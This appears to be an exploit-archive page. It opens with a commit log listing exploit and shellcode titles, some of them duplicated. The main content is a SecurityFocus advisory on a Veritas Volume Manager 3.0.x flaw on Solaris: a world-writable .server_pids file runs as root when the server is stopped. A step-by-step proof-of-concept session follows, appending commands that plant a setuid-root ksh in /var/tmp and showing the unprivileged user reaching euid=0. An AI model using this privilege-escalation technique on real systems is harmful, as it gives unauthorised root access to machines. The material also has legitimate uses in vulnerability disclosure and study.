880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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2.5 KiB
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44 lines
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2.5 KiB
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source: https://www.securityfocus.com/bid/1356/info
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A vulnerability exists in the Volume Manager product, versions 3.0.x, from Veritas Software. Volume Manager is a popular disk management package. Volume Manager running on Solaris platforms prior to Solaris 8 are vulnerable.
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Upon startup, the /etc/rc2.d/S96vmsa-server script is executed. It never explicitly sets a umask, and therefore inherits the parent umask, which is unset. When the server starts, it creates a file named .server_pids, in the directory /var/opt/vmsa/logs. As no umask is set, its permissions are set to 666. (user, group and world readable and writable).
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The control script used to control various aspects of the Storage Administrator server will, upon getting a request to stop the server, execute the contents of the .server_pids file. As any user can alter the contents of the .server_pids file, a would be attacker can execute arbitrary commands by placing them in the .server_pids file, and waiting for an administrator to call the stop routine of the control script (/opt/VRTSvmsa/bin/vmsa_server). This will cause the code in the .server_pids file to be executed as the user running the script. In most cases this will be root.
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This vulnerability requires that the administrator run the vmsa_server script with the stop command. It will not be invoked upon a shutdown.
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Solaris 8 machines are not susceptible to this vulnerability, as the umask of the system is set to 022 prior to the execution of the /etc/rc2.d/S96vmsa-server script. As a result, the .server_pids file is created non-world and non-group writable, and the contents of this file cannot be altered.
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foo@bar> id
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uid=500(foo) gid=25(programmers)
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foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
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-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
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foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
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cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
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^D
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foo@bar> cat /var/opt/vmsa/logs/.server_pids
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kill 328
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kill 329
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kill 337
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cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
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foo@bar>
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# wait for root to stop the server manually
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root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
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Stopping VERITAS VM Storage Administrator Server
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root@bar> ls -alt /var/tmp
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total 406
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drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
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-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
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-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
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drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..
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# as an unprivileged user, run the suid-root shell we just created...
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foo@bar> /var/tmp/ksh
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# id
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uid=500(foo) gid=25(programmers) euid=0(root)
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# |